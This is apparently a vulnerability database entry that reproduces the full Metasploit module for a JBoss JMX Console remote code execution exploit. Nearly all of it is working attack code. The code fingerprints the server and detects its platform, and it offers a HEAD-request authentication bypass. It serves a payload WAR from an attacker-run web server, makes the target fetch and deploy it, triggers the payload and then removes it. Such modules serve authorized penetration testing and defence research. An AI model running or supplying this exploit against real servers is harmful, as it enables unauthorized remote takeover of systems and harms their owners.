JBoss JMX Console Deployer Upload and Execute

2012-06-19T17:59:15
ID MSF:EXPLOIT/MULTI/HTTP/JBOSS_MAINDEPLOYER
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module can be used to execute a payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:MainDeployer functionality. To accomplish this, a temporary HTTP server is created to serve a WAR archive containing our payload. This method will only work if the target server allows outbound connections to us.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'JBoss JMX Console Deployer Upload and Execute',
      'Description' => %q{
          This module can be used to execute a payload on JBoss servers that have
        an exposed "jmx-console" application. The payload is put on the server by
        using the jboss.system:MainDeployer functionality. To accomplish this, a
        temporary HTTP server is created to serve a WAR archive containing our
        payload. This method will only work if the target server allows outbound
        connections to us.
      },
      'Author'      => [ 'jduck', 'Patrick Hof', 'h0ng10'],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2007-1036' ],
          [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
          [ 'OSVDB', '33744' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], #For CVE-2010-0738
        ],
      'DisclosureDate' => 'Feb 20 2007',
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'Targets'     =>
        [
          #
          # do target detection but java meter by default
          # detect via /manager/serverinfo
          #
          [ 'Automatic (Java based)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],

          #
          # Platform specific targets only
          #
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [ 'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],

          #
          # Java version
          #
          [ 'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
            }
          ]
        ],
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('HttpUsername', [ false, 'The username to authenticate as' ]),
        OptString.new('HttpPassword', [ false, 'The password for the specified username' ]),
        OptString.new('JSP',      [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE',  [ false, 'Application base name, (default: random)', nil ]),
        OptString.new('PATH',     [ true,  'The URI path of the console', '/jmx-console' ]),
        OptString.new('WARHOST',  [ false, 'The host to request the WAR payload from' ]),
        OptString.new('SRVHOST',  [ true, 'The local host to listen on. This must be an address on the local machine' ]),
        OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])


      ])
  end


  def auto_target
    if datastore['VERB'] == 'HEAD' then
      print_status("Sorry, automatic target detection doesn't work with HEAD requests")
    else
      print_status("Attempting to automatically select a target...")
      res = query_serverinfo
      if not (plat = detect_platform(res))
        fail_with(Failure::NoTarget, 'Unable to detect platform!')
      end

      if not (arch = detect_architecture(res))
        fail_with(Failure::NoTarget, 'Unable to detect architecture!')
      end

      # see if we have a match
      targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
    end

    # no matching target found, use Java as fallback
    java_targets = targets.select {|t| t.name =~ /^Java/ }
    return java_targets[0]
  end


  def exploit
    jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
    app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))

    mytarget = target
    if (target.name =~ /Automatic/)
      mytarget = auto_target()
      if (not mytarget)
        fail_with(Failure::NoTarget, "Unable to automatically select a target")
      end
      print_status("Automatically selected target \"#{mytarget.name}\"")
    else
      print_status("Using manually select target \"#{mytarget.name}\"")
    end
    arch = mytarget.arch

    # set arch/platform from the target
    plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

    # We must regenerate the payload in case our auto-magic changed something.
    return if ((p = exploit_regenerate_payload(plat, arch)) == nil)

    # Generate the WAR containing the payload
    @war_data = p.encoded_war({
      :app_name => app_base,
      :jsp_name => jsp_name,
      :arch => mytarget.arch,
      :platform => mytarget.platform
    })

    #
    # UPLOAD
    #
    resource_uri = '/' + app_base + '.war'
    service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    print_status("Starting up our web service on #{service_url} ...")
    start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

    if (datastore['WARHOST'])
      service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    end

    print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")
    if (datastore['VERB'] == "POST")
      res = send_request_cgi({
          'method'    => datastore['VERB'],
          'uri'       => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
          'vars_post' =>
            {
              'action'      => 'invokeOpByName',
              'name'        => 'jboss.system:service=MainDeployer',
              'methodName'  => 'deploy',
              'argType'     => 'java.lang.String',
              'arg0'        => service_url
            }
        }, 30)
    else
      res = send_request_cgi({
          'method'    => datastore['VERB'],
          'uri'       => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
          'vars_get' =>
            {
              'action'      => 'invokeOpByName',
              'name'        => 'jboss.system:service=MainDeployer',
              'methodName'  => 'deploy',
              'argType'     => 'java.lang.String',
              'arg0'        => service_url
            }
        }, 30)
    end
    if (! res)
      fail_with(Failure::Unknown, "Unable to deploy WAR archive [No Response]")
    end
    if (res.code < 200 or res.code >= 300)
      case res.code
      when 401
        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
      end
      fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
    end

    # wait for the data to be sent
    print_status("Waiting for the server to request the WAR archive....")
    waited = 0
    while (not @war_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > 30)
        fail_with(Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
      end
    end

    print_status("Shutting down the web service...")
    stop_service


    #
    # EXECUTE
    #
    print_status("Executing #{app_base}...")

    # The payload doesn't like POST requests
    # As the war file is not stored inside the jmx-console, we don't have to
    # care about the selected http method
    tmp_verb = datastore['VERB']
    tmp_verb = 'GET' if tmp_verb == 'POST'

    # JBoss might need some time for the deployment. Try 5 times at most and
    # wait 3 seconds inbetween tries
    uri = '/' + app_base + '/' + jsp_name + '.jsp'
    num_attempts = 5
    num_attempts.times do |attempt|
      res = send_request_cgi({
          'uri'     => uri,
          'method'  => tmp_verb
        }, 30)

      msg = nil
      if (! res)
        msg = "Execution failed on #{app_base} [No Response]"
      elsif (res.code < 200 or res.code >= 300)
        msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]"
      elsif (res.code == 200)
        print_good("Successfully triggered payload at '#{uri}'")
        break
      end

      if (attempt < num_attempts - 1)
        msg << ", retrying in 3 seconds..."
        print_error(msg)

        select(nil, nil, nil, 3)
      else
        print_error(msg)
      end
    end

    #
    # DELETE
    #
    # XXX: Does undeploy have an invokeByName?
    #
    print_status("Undeploying #{app_base} ...")
    res = send_request_cgi({
      'method'    => datastore['VERB'],
      'uri'       => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
      'vars_post' =>
        {
          'action'      => 'invokeOpByName',
          'name'        => 'jboss.system:service=MainDeployer',
          'methodName'  => 'methodName=undeploy',
          'argType'     => 'java.lang.String',
          'arg0'        => app_base
        }
    }, 30)
    if (! res)
      print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
    elsif (res.code == 500 and datastore['VERB'] == 'POST')
      # POST requests result in a http 500 error, but the payload is removed..."
      print_warning("WARNING: Undeployment might have failed (unlikely)")
    elsif (res.code < 200 or res.code >= 300)
      print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
    end

    handler
  end


  # Handle incoming requests from the server
  def on_request_uri(cli, request)

    #print_status("on_request_uri called: #{request.inspect}")
    if (not @war_data)
      print_error("A request came in, but the WAR archive wasn't ready yet!")
      return
    end

    print_status("Sending the WAR archive to the server...")
    send_response(cli, @war_data)
    @war_sent = true
  end


  def query_serverinfo
    path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
    res = send_request_raw(
      {
        'uri'    => path
      }, 20)

    if (res) && (res.code == 401)
      fail_with(Failure::NoAccess,"Unable to bypass authentication.  Try changing the verb to HEAD to exploit CVE-2010-0738.")
    end

    if (not res) or (res.code != 200)
      fail_with(Failure::Unknown,"Failed: Error requesting #{path}")
    end

    res
  end

  def autofilter
    true
  end

  # Try to autodetect the target platform
  def detect_platform(res)
    if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
      os = $1
      if (os =~ /Linux/i)
        return 'linux'
      elsif (os =~ /FreeBSD/i)
        return 'linux'
      elsif (os =~ /Windows/i)
        return 'win'
      end
    end
    nil
  end


  # Try to autodetect the target architecture
  def detect_architecture(res)
    if (res.body =~ /<td.*?OSArch.*?(x86_64|amd64|x86|i386|i686).*?<\/td>/m)
      case arch
      when 'x86', 'i386', 'i686'
        return ARCH_X86
      when 'x86_64', 'amd64'
        return ARCH_X64
      end
    end
    nil
  end
end